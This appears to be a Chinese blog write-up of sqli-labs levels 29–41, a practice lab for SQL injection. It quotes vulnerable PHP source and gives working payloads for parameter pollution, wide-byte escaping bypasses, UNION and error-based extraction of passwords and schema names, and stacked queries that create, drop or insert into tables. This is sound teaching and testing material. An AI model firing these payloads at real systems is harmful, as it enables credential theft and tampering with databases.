0%

sqli-labs3

29 参数污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# login.php
<?php
... ...

// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s); //用`&`分割字符串

foreach($qs_array as $key => $value)
{
$val=substr($value,0,2); //截取前两位字符
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
// 用&分割字符串为两部分,然后进行数组遍历,如果字符前两位为id,那么返回它的3-30位字符
?>
1
2
3
4
5
6
7
8
explode(separator,string,limit) 函数把字符串打散为数组。
separator 必需。规定在哪里分割字符串。
string 必需。要分割的字符串。
limit 可选。规定所返回的数组元素的数目。可能的值:
大于 0 - 返回包含最多 limit 个元素的数组
小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
0 - 返回包含一个元素的数组


对于login.php?id=1&id=2 apache(php)会解析最后一个参数,tomcat(jsp)会解析第一个参数,第一个id会经过whitelist()java_implimentation()

whitelist()作用是传入的参数必须是一位及以上的数字

java_implimentation()&分割字符串为两部分,然后进行数组遍历,如果字符前两位为id,那么返回它的3-30位字符

参数污染 id=1 & id=0' union select 1,2,'3

可以参考https://blog.csdn.net/nzjdsds/article/details/77758824

30 参数污染

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

和上一关差不多 双引号闭合

?id=1&id=-1" union select 1,2,"3

?id=12&id=-1" union select 1,(select password from users limit 0,1),"3

31 参数污染

1
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

?id=12&id=-1") union select 1,(select password from users limit 0,1),("3


32 宽字节注入


?id=1%df%27%20union%20select%201,2,3%20--+

?id=0%df%27%20union%20select%201,database(),3%20--+

?id=0%df%27%20union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),3%20--+

在查字段名的时候需要把'users'转成16进制,16进制的表名不需要引号 0x7573657273

?id=0%df%27%20union%20select%201,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273%20limit%200,1),3%20--+


33 宽字节注入

和32一模一样

?id=1%df%27%20and%201=1%20--+


34 宽字节注入(POST)

过滤方式和上面的一样,可以使用burp直接传,不过POST传入数据时会进行url编码,

在输入 1%df or 1=1#后抓包可以看到前面的%df变成了%25df

uname=1%25df%27+or+1%3D1%23&passwd=aa&submit=Submit修改一下即可



35 宽字节注入

和32差不多 只不过这里是字符型,不需要'闭合

?id=0 union select 1,database(),3



36 宽字节注入

和前面一样

?id=0%df%27%20union%20select%201,2,3--+

?id=0%df%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+


37 宽字节注入(POST)

和34一样


38 堆叠注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{


/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);


}

mysqli_multi_query()堆叠注入,多个查询用;分隔

参考https://www.cnblogs.com/lcamry/p/5762905.html

?id=1';create table test like users --+

发现数据库中新建了名的test的表

?id=1';drop table test; --+删除test

uers表添加数据

?id=1';insert into users(id,username,password) values('25','Mamor','Mamor')--+


39 堆叠注入

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

数字型 不需要闭合

?id=1;insert into users(id,username,password) values('26','Mamor','Mamor') --+


40 堆叠注入

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

?id=1') ; insert into users(id,username,password) values('40','Mamor','Mamor')--+


41 堆叠注入

?id=2-1 --+?id=1 --+返回结果一样

可以判断是数字型,和39一样

?id=1 ; insert into users(id,username,password) values('40','Mamor','Mamor')--+

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------